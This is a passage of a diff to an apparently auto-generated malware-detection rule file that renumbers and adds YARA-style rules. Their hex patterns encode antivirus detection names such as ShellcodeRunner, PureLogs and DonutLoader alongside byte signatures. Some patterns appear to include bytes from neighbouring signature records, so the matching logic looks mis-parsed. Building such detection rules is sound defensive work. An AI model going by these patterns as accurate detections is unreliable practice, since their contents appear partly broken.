00 01 00 01 00 21 " @@ -33903,7 +34622,7 @@ rule _InfrastructureShared_3282{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3283{ +rule _InfrastructureShared_3352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33913,7 +34632,7 @@ rule _InfrastructureShared_3283{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3284{ +rule _InfrastructureShared_3353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33923,7 +34642,7 @@ rule _InfrastructureShared_3284{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3285{ +rule _InfrastructureShared_3354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33933,7 +34652,7 @@ rule _InfrastructureShared_3285{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3286{ +rule _InfrastructureShared_3355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33943,7 +34662,7 @@ rule _InfrastructureShared_3286{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3287{ +rule _InfrastructureShared_3356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33953,7 +34672,7 @@ rule _InfrastructureShared_3287{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3288{ +rule _InfrastructureShared_3357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33963,7 +34682,7 @@ rule _InfrastructureShared_3288{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3289{ +rule _InfrastructureShared_3358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33973,7 +34692,7 @@ rule _InfrastructureShared_3289{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3290{ +rule _InfrastructureShared_3359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33983,7 +34702,7 @@ rule _InfrastructureShared_3290{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3291{ +rule _InfrastructureShared_3360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33993,7 +34712,7 @@ rule _InfrastructureShared_3291{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3292{ +rule _InfrastructureShared_3361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34003,7 +34722,7 @@ rule _InfrastructureShared_3292{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3293{ +rule _InfrastructureShared_3362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34013,7 +34732,7 @@ rule _InfrastructureShared_3293{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3294{ +rule _InfrastructureShared_3363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34023,7 +34742,7 @@ rule _InfrastructureShared_3294{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3295{ +rule _InfrastructureShared_3364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34033,7 +34752,7 @@ rule _InfrastructureShared_3295{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3296{ +rule _InfrastructureShared_3365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34043,7 +34762,17 @@ rule _InfrastructureShared_3296{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3297{ +rule _InfrastructureShared_3366{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 41 21 4d 54 42 00 01 00 1e 01 01 13 04 1a 13 0f 2b b9 06 6f bd 00 00 0a 0d 16 13 0f 2b ad 16 13 08 1b 13 0f 2b a5 06 6f 00 00 78 4b 00 00 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34053,7 +34782,7 @@ rule _InfrastructureShared_3297{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3298{ +rule _InfrastructureShared_3368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34063,7 +34792,7 @@ rule _InfrastructureShared_3298{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3299{ +rule _InfrastructureShared_3369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34073,7 +34802,7 @@ rule _InfrastructureShared_3299{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3300{ +rule _InfrastructureShared_3370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34083,7 +34812,7 @@ rule _InfrastructureShared_3300{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3301{ +rule _InfrastructureShared_3371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34093,7 +34822,7 @@ rule _InfrastructureShared_3301{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3302{ +rule _InfrastructureShared_3372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34103,7 +34832,7 @@ rule _InfrastructureShared_3302{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3303{ +rule _InfrastructureShared_3373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34113,7 +34842,7 @@ rule _InfrastructureShared_3303{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3304{ +rule _InfrastructureShared_3374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -34124,7 +34853,7 @@ rule _InfrastructureShared_3304{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*12108) >=1 } -rule _InfrastructureShared_3305{ +rule _InfrastructureShared_3375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -34135,7 +34864,7 @@ rule _InfrastructureShared_3305{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*12851) >=1 } -rule _InfrastructureShared_3306{ +rule _InfrastructureShared_3376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -34146,7 +34875,7 @@ rule _InfrastructureShared_3306{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*12851) >=1 } -rule _InfrastructureShared_3307{ +rule _InfrastructureShared_3377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -34157,7 +34886,7 @@ rule _InfrastructureShared_3307{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*12851) >=1 } -rule _InfrastructureShared_3308{ +rule _InfrastructureShared_3378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -34168,7 +34897,7 @@ rule _InfrastructureShared_3308{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21076) >=1 } -rule _InfrastructureShared_3309{ +rule _InfrastructureShared_3379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -34179,7 +34908,7 @@ rule _InfrastructureShared_3309{ ((#a_77_0 & 1)*19491+(#a_80_1 & 1)*1) >=1 } -rule _InfrastructureShared_3310{ +rule _InfrastructureShared_3380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -34191,7 +34920,7 @@ rule _InfrastructureShared_3310{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*28257+(#a_00_2 & 1)*2) >=1 } -rule _InfrastructureShared_3311{ +rule _InfrastructureShared_3381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -34201,7 +34930,27 @@ rule _InfrastructureShared_3311{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3312{ +rule _InfrastructureShared_3382{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 42 41 42 21 4d 54 42 00 02 00 14 03 8a 11 80 c2 01 8b 85 90 01 04 03 85 90 01 04 88 10 eb 90 00 00 00 78 4b 00 00 02 00 02 00 01 00 21 23 41 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3383{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 53 54 41 54 21 4d 54 42 00 02 00 1e 01 34 55 48 8d 7f 01 48 8b 53 10 4c 8b 43 18 49 3b d0 73 1e 48 8d 4a 01 48 89 4b 10 48 8b cb 00 00 78 4b 00 00 02 00 02 00 01 00 21 23 41 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -34211,7 +34960,17 @@ rule _InfrastructureShared_3312{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3313{ +rule _InfrastructureShared_3385{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 6e 75 74 4c 6f 61 64 65 72 2e 45 4a 4a 52 21 4d 54 42 00 02 00 18 02 0d 06 1b 62 06 58 09 d2 6e 58 0a 08 17 58 0c 08 07 90 01 05 32 e1 90 00 00 00 78 4b 00 00 02 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -34221,7 +34980,7 @@ rule _InfrastructureShared_3313{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3314{ +rule _InfrastructureShared_3387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -34231,7 +34990,7 @@ rule _InfrastructureShared_3314{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3315{ +rule _InfrastructureShared_3388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -34241,7 +35000,7 @@ rule _InfrastructureShared_3315{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3316{ +rule _InfrastructureShared_3389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34252,7 +35011,7 @@ rule _InfrastructureShared_3316{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*17996) >=2 } -rule _InfrastructureShared_3317{ +rule _InfrastructureShared_3390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34263,7 +35022,7 @@ rule _InfrastructureShared_3317{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*21587) >=2 } -rule _InfrastructureShared_3318{ +rule _InfrastructureShared_3391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34274,7 +35033,7 @@ rule _InfrastructureShared_3318{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21611) >=2 } -rule _InfrastructureShared_3319{ +rule _InfrastructureShared_3392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34285,7 +35044,7 @@ rule _InfrastructureShared_3319{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*27749) >=2 } -rule _InfrastructureShared_3320{ +rule _InfrastructureShared_3393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34296,7 +35055,7 @@ rule _InfrastructureShared_3320{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28261) >=2 } -rule _InfrastructureShared_3321{ +rule _InfrastructureShared_3394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34307,7 +35066,7 @@ rule _InfrastructureShared_3321{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29557) >=2 } -rule _InfrastructureShared_3322{ +rule _InfrastructureShared_3395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34318,7 +35077,7 @@ rule _InfrastructureShared_3322{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28500) >=2 } -rule _InfrastructureShared_3323{ +rule _InfrastructureShared_3396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34329,7 +35088,7 @@ rule _InfrastructureShared_3323{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*21076) >=2 } -rule _InfrastructureShared_3324{ +rule _InfrastructureShared_3397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34340,7 +35099,7 @@ rule _InfrastructureShared_3324{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*11897) >=2 } -rule _InfrastructureShared_3325{ +rule _InfrastructureShared_3398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34351,7 +35110,7 @@ rule _InfrastructureShared_3325{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*17775) >=2 } -rule _InfrastructureShared_3326{ +rule _InfrastructureShared_3399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34362,7 +35121,7 @@ rule _InfrastructureShared_3326{ ((#a_73_0 & 1)*21283+(#a_01_1 & 1)*10242) >=2 } -rule _InfrastructureShared_3327{ +rule _InfrastructureShared_3400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -34373,50 +35132,41 @@ rule _InfrastructureShared_3327{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3328{ +rule _InfrastructureShared_3401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 10 01 ec f5 24 b0 30 a6 52 61 e3 05 9c 48 ab 9e 1e cb 01 00 10 01 23 43 23 54 34 67 23 89 c5 a4 84 34 95 37 85 b6 00 00 78 4b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 00 01 00 } //25635 - $a_81_1 = {55 bd 0f 85 01 00 05 01 2d e8 00 00 00 01 00 07 01 2d 55 8b ec 90 0f 85 00 00 78 4b 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 47 50 50 47 21 4d 54 42 00 04 00 1d 01 11 0e 6e 11 29 6a 31 0d 11 26 11 13 61 13 0e 11 0d 11 1c 5b 26 16 13 2f 16 13 30 2b } //263 + $a_81_1 = {55 bd 0f 85 01 00 05 01 2d e8 00 00 00 01 00 07 01 2d 55 8b ec 90 0f 85 00 00 78 4b 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 0d 80 01 64 6f 62 72 65 70 72 6f 67 72 61 6d 79 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 74 75 } //263 condition: ((#a_5f_0 & 1)*25635+(#a_81_1 & 1)*263) >=2 } -rule _InfrastructureShared_3329{ +rule _InfrastructureShared_3402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 00 01 00 07 01 66 81 38 55 bd 0f 85 01 00 05 01 2d e8 00 00 00 01 00 07 01 2d 55 8b ec 90 0f 85 00 00 78 4b 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a } //18467 - $a_4d_1 = {49 4c 2f 4c 75 6d 6d 61 43 2e 47 50 50 47 21 4d 54 42 00 04 00 1d 01 11 0e 6e 11 29 6a 31 0d 11 26 11 13 61 13 0e 11 0d 11 1c 5b 26 16 13 2f 16 13 30 2b 34 00 00 78 4b 00 00 } //28257 - $a_00_2 = {01 00 21 23 } //4 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 00 01 00 07 01 66 81 38 55 bd 0f 85 01 00 05 01 2d e8 00 00 00 01 00 07 01 2d 55 8b ec 90 0f 85 00 00 78 4b 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 } //18467 + $a_65_1 = {64 6f 74 00 02 00 0d 80 01 64 6f 62 72 65 70 72 6f 67 72 61 6d 79 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 74 75 70 00 00 78 4b 00 00 04 00 04 00 04 00 21 23 42 4d 5f 41 54 3a 41 6e 79 44 65 73 6b 2e 41 00 01 } //14955 condition: - ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*28257+(#a_00_2 & 1)*4) >=3 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*14955) >=3 } -rule _InfrastructureShared_3330{ +rule _InfrastructureShared_3403{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 47 50 50 47 21 4d 54 42 00 04 00 1d 01 11 0e 6e 11 29 6a 31 0d 11 26 11 13 61 13 0e 11 0d 11 1c 5b 26 16 13 2f 16 13 30 2b 34 00 00 78 4b 00 00 04 00 } //21539 + $a_41_0 = {42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 0d 80 01 64 6f 62 72 65 70 72 6f 67 72 61 6d 79 01 00 0c 80 01 6f 70 74 69 6f 6e 61 6c 50 61 67 65 01 00 08 80 01 44 6f 74 53 65 74 75 70 00 00 78 4b 00 00 04 00 04 00 04 00 21 23 42 4d 5f 41 54 3a 41 6e 79 44 } //20515 + $a_2e_1 = {00 01 00 06 00 69 d2 0d 66 19 00 01 00 06 00 81 c2 5f f3 6e 3c 01 00 07 80 01 41 6e 79 44 65 73 6b 01 00 0c 80 01 72 65 6c 65 61 73 65 2f 77 69 6e 5f 00 00 78 4b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 56 69 72 75 74 2e 67 65 6e 00 01 00 07 01 64 ff 05 14 00 00 00 01 00 07 01 64 } //29541 + $a_00_2 = {00 00 01 00 04 01 2b 44 24 30 01 00 04 01 1b 54 24 34 00 00 } //15745 condition: - ((#a_4c_0 & 1)*21539) >=4 + ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*29541+(#a_00_2 & 1)*15745) >=4 } -rule _InfrastructureShared_3331{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 47 50 50 45 21 4d 54 42 00 04 00 1d 01 0f 00 28 d0 00 00 0a 1f 10 62 0f 00 28 d1 00 00 0a 1e 62 60 0f 00 28 d2 00 00 0a 60 0b 00 00 78 4b 00 00 04 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_3332{ +rule _InfrastructureShared_3404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -34428,7 +35178,7 @@ rule _InfrastructureShared_3332{ ((#a_5f_0 & 1)*16931+(#a_56_1 & 1)*21076+(#a_4b_2 & 1)*0) >=4 } -rule _InfrastructureShared_3333{ +rule _InfrastructureShared_3405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -34441,7 +35191,7 @@ rule _InfrastructureShared_3333{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28516+(#a_34_2 & 1)*-29816+(#a_6f_3 & 1)*25707) >=4 } -rule _InfrastructureShared_3334{ +rule _InfrastructureShared_3406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -34451,7 +35201,7 @@ rule _InfrastructureShared_3334{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3335{ +rule _InfrastructureShared_3407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -34461,7 +35211,7 @@ rule _InfrastructureShared_3335{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3336{ +rule _InfrastructureShared_3408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -34471,7 +35221,7 @@ rule _InfrastructureShared_3336{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3337{ +rule _InfrastructureShared_3409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -34481,7 +35231,7 @@ rule _InfrastructureShared_3337{ ((#a_46_0 & 1)*21283) >=5 } -rule _InfrastructureShared_3338{ +rule _InfrastructureShared_3410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -34492,7 +35242,7 @@ rule _InfrastructureShared_3338{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*5) >=5 } -rule _InfrastructureShared_3339{ +rule _InfrastructureShared_3411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -34506,7 +35256,7 @@ rule _InfrastructureShared_3339{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*19525+(#a_00_3 & 1)*0+(#a_6a_4 & 1)*29268+(#a_89_5 & 1)*257) >=5 } -rule _InfrastructureShared_3340{ +rule _InfrastructureShared_3412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -34517,7 +35267,7 @@ rule _InfrastructureShared_3340{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10) >=7 } -rule _InfrastructureShared_3341{ +rule _InfrastructureShared_3413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -34527,7 +35277,7 @@ rule _InfrastructureShared_3341{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3342{ +rule _InfrastructureShared_3414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -34537,7 +35287,7 @@ rule _InfrastructureShared_3342{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_3343{ +rule _InfrastructureShared_3415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " @@ -34549,7 +35299,7 @@ rule _InfrastructureShared_3343{ ((#a_4e_0 & 1)*20259+(#a_50_2 & 1)*17748+(#a_72_3 & 1)*14918) >=20 } -rule _InfrastructureShared_3344{ +rule _InfrastructureShared_3416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -34561,7 +35311,7 @@ rule _InfrastructureShared_3344{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_46_2 & 1)*16675) >=30 } -rule _InfrastructureShared_3345{ +rule _InfrastructureShared_3417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -34571,7 +35321,7 @@ rule _InfrastructureShared_3345{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3346{ +rule _InfrastructureShared_3418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -34581,7 +35331,7 @@ rule _InfrastructureShared_3346{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3347{ +rule _InfrastructureShared_3419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -34591,7 +35341,7 @@ rule _InfrastructureShared_3347{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3348{ +rule _InfrastructureShared_3420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -34601,7 +35351,7 @@ rule _InfrastructureShared_3348{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3349{ +rule _InfrastructureShared_3421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34611,7 +35361,7 @@ rule _InfrastructureShared_3349{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3350{ +rule _InfrastructureShared_3422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34621,7 +35371,7 @@ rule _InfrastructureShared_3350{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3351{ +rule _InfrastructureShared_3423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34631,7 +35381,7 @@ rule _InfrastructureShared_3351{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3352{ +rule _InfrastructureShared_3424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34641,7 +35391,7 @@ rule _InfrastructureShared_3352{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3353{ +rule _InfrastructureShared_3425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34651,7 +35401,7 @@ rule _InfrastructureShared_3353{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3354{ +rule _InfrastructureShared_3426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34661,7 +35411,7 @@ rule _InfrastructureShared_3354{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3355{ +rule _InfrastructureShared_3427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34671,7 +35421,7 @@ rule _InfrastructureShared_3355{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3356{ +rule _InfrastructureShared_3428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -34681,7 +35431,17 @@ rule 